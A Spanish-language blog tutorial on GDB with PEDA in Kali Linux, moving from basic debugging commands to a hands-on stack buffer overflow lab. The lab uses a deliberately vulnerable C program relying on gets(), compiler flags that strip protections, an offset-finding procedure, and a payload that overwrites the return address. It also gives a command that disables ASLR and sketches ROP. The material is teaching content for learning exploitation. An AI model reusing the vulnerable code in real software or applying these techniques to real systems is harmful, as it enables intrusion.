GDB en Español para Kali Linux

 

 https://www.onlinetis.com

GDB en Español para Kali Linux

GDB (GNU Debugger) es la herramienta estándar para depurar programas en Kali Linux. Es fundamental para tareas de ingeniería inversa, desarrollo de exploits y análisis de vulnerabilidades.

Aquí tienes una guía rápida para empezar a usarlo en español.


1. Instalación y Configuración

Por lo general, GDB ya viene instalado en Kali Linux. Si no lo tienes, puedes instalarlo con:

Bash
sudo apt update && sudo apt install gdb

Mejorar la interfaz (GDB-PEDA)

GDB por defecto es muy austero (solo texto). La mayoría de los analistas de seguridad en Kali usan PEDA (Python Exploit Development Assistance), que añade colores y muestra registros, código y la pila (stack) simultáneamente.

Para instalarlo:

Bash
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

2. Comandos Esenciales

Para depurar un archivo binario, usa: gdb ./nombre_del_programa

Control de Ejecución

  • run (r): Inicia la ejecución del programa.

  • break [punto] (b): Establece un punto de interrupción. Ejemplo: break main o break *0x08048456.

  • next (n): Ejecuta la siguiente línea de código (salta sobre las funciones).

  • step (s): Entra dentro de las funciones.

  • continue (c): Continúa la ejecución hasta el siguiente breakpoint.

  • quit (q): Salir de GDB.

Inspección de Datos

  • info registers (i r): Muestra el valor de todos los registros de la CPU.

  • list (l): Muestra el código fuente (si está disponible).

  • disassemble [función] (disas): Muestra el código en lenguaje ensamblador.

  • print [variable] (p): Muestra el valor de una variable.

  • x/[formato] [dirección]: Examina el contenido de la memoria.

    • Ejemplo: x/10wx $esp (Muestra 10 palabras en hexadecimal desde el puntero de la pila).


3. Flujo de Trabajo Típico

  1. Cargar: gdb ./mi_programa

  2. Analizar: disas main para ver la estructura.

  3. Interrumpir: b *main para detenerse al inicio.

  4. Ejecutar: r

  5. Observar: Usar i r para ver cómo cambian los registros ($EAX, $EBP, $ESP, etc.) tras cada instrucción.


4. Depuración de Procesos en Ejecución

Si quieres analizar un servicio que ya está corriendo (como un servidor web):

  1. Busca el PID: ps aux | grep nombre_proceso

  2. Adjunta GDB: sudo gdb -p [PID]


¿Diferencia entre sintaxis Intel y AT&T?

Kali/GDB usa por defecto AT&T, pero si prefieres la lectura tipo Intel (más común en tutoriales de hacking), usa este comando dentro de GDB:

Fragmento de código
set disassembly-flavor intel
 
Vamos a realizar un ejercicio práctico de Buffer Overflow (desbordamiento de búfer) controlado. El objetivo es entender cómo la memoria se corrompe cuando un programa no valida el tamaño de lo que el usuario introduce.

1. El Código Vulnerable (C)

Primero, imagina un programa sencillo llamado vulnerable.c:

C
#include <stdio.h>
#include <string.h>

void funcion_secreta() {
    printf("¡Has accedido a la función secreta!\n");
}

void vulnerable() {
    char buffer[64];
    printf("Introduce tu nombre: ");
    gets(buffer); // <--- Función peligrosa, no limita la entrada
}

int main() {
    vulnerable();
    return 0;
}

Para practicar en Kali, compílalo desactivando las protecciones modernas:

gcc -fno-stack-protector -z execstack -no-pie -m32 vulnerable.c -o vulnerable


2. Anatomía de la Memoria

Cuando llamamos a la función vulnerable(), se crea un "Stack Frame" (marco de pila). El objetivo del exploit es llenar el buffer y seguir escribiendo hasta sobrescribir la Dirección de Retorno (EIP).

  • Buffer: Espacio reservado para datos (64 bytes).

  • EBP: Puntero base del marco anterior.

  • Return Address (EIP): La dirección de la siguiente instrucción que el CPU debe ejecutar tras terminar la función. Si controlamos esto, controlamos el programa.


3. Pasos en GDB (con PEDA)

Paso A: Encontrar el punto de quiebre

Abre el programa: gdb ./vulnerable.

Crea un patrón largo para ver dónde se rompe:

Fragmento de código
gdb-peda$ pattern create 100

Copia ese patrón y ejecuta el programa con run. Cuando te pida el nombre, pega el patrón.

Paso B: Localizar el Offset

El programa se cerrará con un error de segmentación (Segmentation fault). PEDA te dirá algo como:

Stopped reason: SIGSEGV

EIP: 0x41414141 ('AAAA')

Para saber exactamente cuántos bytes faltan para llegar al EIP:

Fragmento de código
gdb-peda$ pattern offset [valor_de_EIP]

Si te dice que el offset es 76, significa que después de 76 letras "A", los siguientes 4 bytes serán la dirección a donde saltará el programa.

Paso C: Redirigir la ejecución

Queremos saltar a funcion_secreta. Primero buscamos su dirección:

Fragmento de código
gdb-peda$ info functions

Supongamos que la dirección es 0x08048456.


4. El Exploit Final

Ahora lanzamos el programa enviando 76 "A"s seguidas de la dirección de la función secreta (en formato Little Endian, es decir, al revés):

Bash
run $(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*76 + b"\x56\x84\x04\x08")')

Resultado: Verás en pantalla el mensaje: "¡Has accedido a la función secreta!". Aunque el código original nunca llama a esa función, hemos manipulado el flujo del CPU usando GDB.



Entender las protecciones de un binario es el primer paso antes de lanzar GDB, ya que te dirá qué técnicas funcionarán y cuáles no. En Kali Linux, la herramienta estándar para esto es checksec.


1. ¿Qué es checksec?

Es un script que comprueba las propiedades de seguridad de un archivo ejecutable. Viene preinstalado en el paquete binutils o como parte de herramientas como pwntools.

Para usarlo, simplemente escribe:

Bash
checksec --file=vulnerable

El resultado típico se ve así:


2. ¿Qué significan estas defensas?

SiglaNombreQué haceSi está activado (Enabled)...
CANARYStack CanaryPone un "valor secreto" antes del EIP.Si intentas un Buffer Overflow, el programa detecta el cambio y se cierra antes de saltar.
NXNo-ExecuteMarca la pila como no ejecutable.No puedes ejecutar código malicioso (shellcode) directamente desde la pila.
PIEPosition Independent ExecutableCarga el programa en una dirección de memoria distinta cada vez.No sabrás la dirección de funcion_secreta de antemano; tendrías que adivinarla o filtrarla.
RELRORelocation Read-OnlyProtege la tabla de funciones (GOT).Evita que sobrescribas direcciones de funciones de librerías como printf o system.

3. ASLR: El enemigo invisible

Existe otra protección que no depende del archivo, sino del sistema operativo: el ASLR (Address Space Layout Randomization). Este desordena las direcciones de las librerías (como la libc).

Para ver si está activo en tu Kali Linux:

Bash
cat /proc/sys/kernel/randomize_va_space
  • 0: Desactivado.

  • 2: Activado por completo (lo normal en sistemas modernos).

Nota Pro: Cuando practiques en GDB, a veces verás que las direcciones cambian. Puedes desactivar el ASLR temporalmente en Kali para facilitar tus pruebas con: sudo sysctl -w kernel.randomize_va_space=0.


4. Ejemplo práctico: Saltarse el NX

Si un programa tiene NX Enabled, no puedes ejecutar código en la pila. En ese caso, los hackers usan una técnica llamada ROP (Return Oriented Programming). En lugar de inyectar código, "saltan" a trozos de código que ya existen en el programa o en sus librerías para encadenarlos.

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux